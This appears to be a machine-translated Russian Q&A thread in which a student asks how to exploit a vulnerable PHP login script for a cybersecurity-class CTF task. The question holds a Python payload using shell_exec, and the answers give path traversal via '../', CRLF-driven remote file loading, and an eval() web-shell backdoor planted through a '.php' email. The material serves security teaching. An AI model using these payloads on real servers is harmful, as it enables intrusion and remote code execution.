Я беру класс кибербезопасности, и для выполнения задания мы должны использовать определенный php-файл и получить какой-то доступ к серверу, на котором он размещен. Я могу установить свой собственный $email
и $password
переменные, как они установлены с $_POST
, Я считаю, что единственный фрагмент кода, который я могу использовать, — это.
$email = $_POST['email']
$password = $_POST['password']
....
$accountfile = "./acounts/" . $email
if(!file_exists($accountfile)){
diefooter("unknown email address or password")
}
$fh = fopen($accountfile, "r")
if(!$fh){
diefooter("Cannot open file $accountfile.");
}
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);
if(strcmp($pass,$password)!=0){
diefooter("wrong email or password.")
}
Я знаю, что в функцию fopen () встроены уязвимости и что я могу получить доступ к оболочке с правильным вводом.
filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php"shellKode = "[email protected]\0;echo shell_exec("+'"cat '+filePath+'");'
# payload = {'email':shellKode, 'password':'test'}
testPayload = {'email':'[email protected]','password':'a'}
r = requests.post(url, data = testPayload)
print(r.text)
Я могу ввести электронное письмо в систему, но перед сохранением формат проверяется. На данный момент я немного растерялся и не уверен, что еще я могу делать.
fopen()
Я думаю, что это единственная функция в файле, которую можно использовать, и я не могу вспомнить другое место, где может быть эксплойт.
Я думаю, что они имеют в виду уязвимость CRLF.
В вашем примере кода эксплойта вы передаете некоторый php-код, но это не то, что вы бы сделали.
Цель состоит в том, чтобы сделать fopen
открыть файл из интернета. Если $email
переменная содержит две строки, разделенные CRLF, вы можете иметь fopen()
посетите внешний сайт там, где это не должно.
Все в зависимости от того, что происходит с $fh
дескриптор файла после, он будет определять, как вы будете использовать это.
Вот ссылка, которую я нашел на эту уязвимость: http://www.securiteam.com/unixfocus/5OP0C0A8AC.html
РЕДАКТИРОВАТЬ после того, как вы отправили больше кода:
Мы начинаем с того, что вы можете заставить $password
на значение, которое вы хотите.
Так что название игры заставляет $pass
на значение, которое вы хотите, так что strcmp
возвращается true
, и вы вошли в систему, не зная пароля.
$pass
контролируется в этом последнем утверждении $pass = fgets($fh)
И если вы используете уязвимость CRLF, чтобы указать fopen, чтобы открыть размещенный вами URL, например, Http: //your.ip.address/your-file, и внутри этого файла вы устанавливаете те же данные, что и в $password
, И это должно позволить вам войти без регистрации.
Но в коде есть некоторые странные вещи, например, :
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);
Похоже, код может быть неполным, потому что здесь значения $last
, $first
а также $pass
всегда будет все то же самое, что не имеет смысла. Это был бы один вектор для рассмотрения.
Возможность № 2 — Обход файла:
С помощью ../
внутри вашего $email
переменная, вы сможете получить доступ к другому файлу в fopen
что это за пределами acounts/
папка.
Если вы запускаете:
<?php
$fh = fopen("acounts/../../test.sh","r");
?>
Он успешно оценивает и ищет две папки для содержимого test.sh. Таким образом, вы можете проверить содержимое файловой системы через $email
переменная. Затем название игры находит стандартный файл, содержимое которого вы знаете, введите его в $password
, и вы можете войти в систему без регистрации.
Возможность № 3 — Зарегистрировать адрес электронной почты, заканчивающийся на .php:
Как упомянуто drew010, при условии, что вам разрешено зарегистрировать пользовательский аккаунт, а затем зарегистрировать $email
кончающийся на .php
и положить eval()
PHP-код внутри $password
при регистрации вашей учетной записи, это создаст файл бэкдора внутри acounts/
назван в честь вашего $email
что вы можете получить доступ через Интернет.
Поскольку файл, который он открывает для хранения пользовательских данных, называется $accountfile = "./acounts/" . $email
похоже, что одним из возможных векторов атак будет попытка зарегистрировать учетную запись, используя адрес электронной почты, например [email protected]
(или просто username.php
в зависимости от того, есть ли надлежащая проверка).
Так как он записывает (предположительно, не хэшированный?) Ваш пароль в этот файл, вы можете установить свой пароль на что-то плохое (например, <?php eval($_REQUEST['x'] ?>
).
Затем посмотрите, можете ли вы получить доступ http://thesite/accounts/[email protected]?x=echo 'hi';
и посмотрите, распечатывается ли привет в браузере.
Если это так, то получайте удовольствие от $_REQUEST['x']
и заставить его делать такие вещи, как запись произвольных файлов в систему (веб-оболочка) или открывать и читать другие файлы и распечатывать их содержимое.